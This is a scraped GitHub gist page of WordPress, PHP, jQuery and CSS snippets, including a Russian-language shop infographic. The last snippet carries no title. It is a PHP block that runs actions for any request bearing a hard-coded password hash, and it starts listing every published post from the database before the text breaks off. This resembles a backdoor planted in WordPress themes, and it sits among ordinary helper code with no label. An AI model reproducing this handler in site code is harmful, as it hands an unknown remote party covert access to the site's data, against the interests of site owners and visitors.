Skip to content

Instantly share code, notes, and snippets.

$('.main-content table').each(function(indx, el){
if ($(el).parent().outerWidth() < $(el).outerWidth()) {
if (!$(el).parent().hasClass('table-responsive')) {
$(el).wrap('<div class="table-responsive"></div>');
}
}
});
@smartdeal
smartdeal / youtube.css
Last active December 26, 2016 12:25
Youtube videos fast loading
.youtube {
background-position: center;
background-repeat: no-repeat;
position: relative;
display: inline-block;
overflow: hidden;
transition: all 200ms ease-out;
cursor: pointer;
}
@smartdeal
smartdeal / wp_get_attachment.php
Created December 26, 2016 18:20
wordpress get meta attachments
function wp_get_attachment( $attachment_id ) {
$attachment = get_post( $attachment_id );
return array(
'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
'caption' => $attachment->post_excerpt,
'description' => $attachment->post_content,
'href' => get_permalink( $attachment->ID ),
'src' => $attachment->guid,
'title' => $attachment->post_title
<div class="infograf">
<div class="infograf__title">Заказать товар просто!</div>
<div class="infograf__why">
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Позвони или оформи заказ онлайн</div></div>
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Оплата любым удобным способом</div></div>
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Доставка по адресу или самовывоз</div></div>
<div class="infograf__why-item"><div class="infograf__why-img"></div><div class="infograf__why-txt">Поздравляем с покупкой! Вкусного пара!</div></div>
</div>
<div class="infograf__title">Почему к нам всегда возвращаются?</div>
<div class="infograf__ret">
@smartdeal
smartdeal / php-errors-to-file.php
Created February 21, 2017 16:11
PHP errors to file
set_error_handler('err_handler');
function err_handler($errno, $errmsg, $filename, $linenum) {
$date = date('Y-m-d H:i:s (T)');
$f = fopen('errors.log', 'a');
if (!empty($f)) {
$filename =str_replace($_SERVER['DOCUMENT_ROOT'],'',$filename);
$err = "$errmsg = $filename = $linenum\r\n";
fwrite($f, $err);
fclose($f);
}
@smartdeal
smartdeal / wp-remove-std-tags.php
Created February 21, 2017 16:13
WP remove std tags from site
* Удаление некоторых стандартных тегов из wp_head()
**/
//Удаляем wp-embed.min.js
function my_deregister_scripts()
{
wp_deregister_script('wp-embed');
}
add_action('wp_footer', 'my_deregister_scripts');
@smartdeal
smartdeal / wp_get_ACF_field_from_category.php
Last active May 8, 2018 15:54
Get ACF field from category #Wordpress #WP_ACF
the_field('seotext', 'category_'.$wp_query->get_queried_object()->cat_ID);
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cc552ea3f2e6b97abd7a2f0c7df5dcc7'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';